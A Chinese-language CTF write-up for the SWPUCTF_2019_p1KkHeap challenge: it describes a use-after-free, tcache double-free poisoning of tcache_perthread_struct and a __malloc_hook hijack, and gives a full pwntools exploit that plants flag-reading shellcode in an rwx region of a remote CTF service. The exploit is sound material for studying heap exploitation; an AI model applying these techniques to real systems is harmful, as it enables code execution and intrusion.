SWPUCTF_2019_p1KkHeap

安全检查

 程序流程

没什么特别要看的,主要看delete函数,有uaf

 漏洞利用

  1. 由于有uaf,所以可以通过两次free让tache变成一个循环的链表,然后把他add成负数,这样相应的tache数量就会变得很大,并且满了
  2. 然后指向tache_thread_struct这个结构体,因为这里存储着tache,那么我们只要控制了他,就可以对任意地址进行写入
  3. 程序刚开始对一个0x66660000地方进行的mmap,权限是rwx,有可执行权限,所以我们把内存申请到这里,在输入shellcraft,再劫持malloc_hook就可以运行到这,从而拿到flag

exp:

from pwn import *
context.arch='amd64'

#p=process('./SWPUCTF_2019_p1KkHeap')
p=remote('node3.buuoj.cn',29368)
libc=ELF('./libc-2.27.so')

def add(size):
    p.recvuntil('Choice: ')
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))

def show(idx):
    p.recvuntil('Choice: ')
    p.sendline('2')
    p.recvuntil('id: ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('Choice: ')
    p.sendline('3')
    p.recvuntil('id: ')
    p.sendline(str(idx))
    p.recvuntil('content: ')
    p.sendline(content)

def delete(idx):
    p.recvuntil('Choice: ')
    p.sendline('4')
    p.recvuntil('id: ')
    p.sendline(str(idx))

add(0x100)
add(0x100)

delete(1)#0
delete(1)#1

show(1)
p.recvuntil('content: ')
first_chunk=u64(p.recv(6).ljust(8,'x00'))
tache_entry=first_chunk-0x110-0x260+0x40+0x88
print hex(tache_entry)

add(0x100)#2
edit(2,p64(tache_entry))
add(0x100)#3
add(0x100)#4 the point tache_entry 0x100
rwx_addr=0x66660000

edit(4,p64(rwx_addr))

add(0x100)#5 the point 0x66660000 mmap place

shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))

delete(0)
show(0)
main_arena=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
libc_base=main_arena-0x3ebca0
malloc_hook=libc.symbols['__malloc_hook']+libc_base
edit(4,p64(malloc_hook))
add(0x100)#6
edit(6,p64(rwx_addr))


add(0x100)
#gdb.attach(p)

p.interactive()

总结

  • 本题让我学到新的漏洞利用思路,原来并不一定要控制好tache的entry,原来可以控制tache_thread_struct里任意一个成员的entry,这样利用是我第一次见到,以前也没去扩展的思考过
  • 其次是看了别人的博客https://blog.csdn.net/github_36788573/article/details/103475238才会写这道题的,发现这里有沙箱,这也是我没接触过得,需要去补充,并且需要写一篇博客来补充
  • 这道题属于需要再次学习的题,来真正把这道题的知识点弄懂
原文地址:https://www.cnblogs.com/pppyyyzzz/p/14007529.html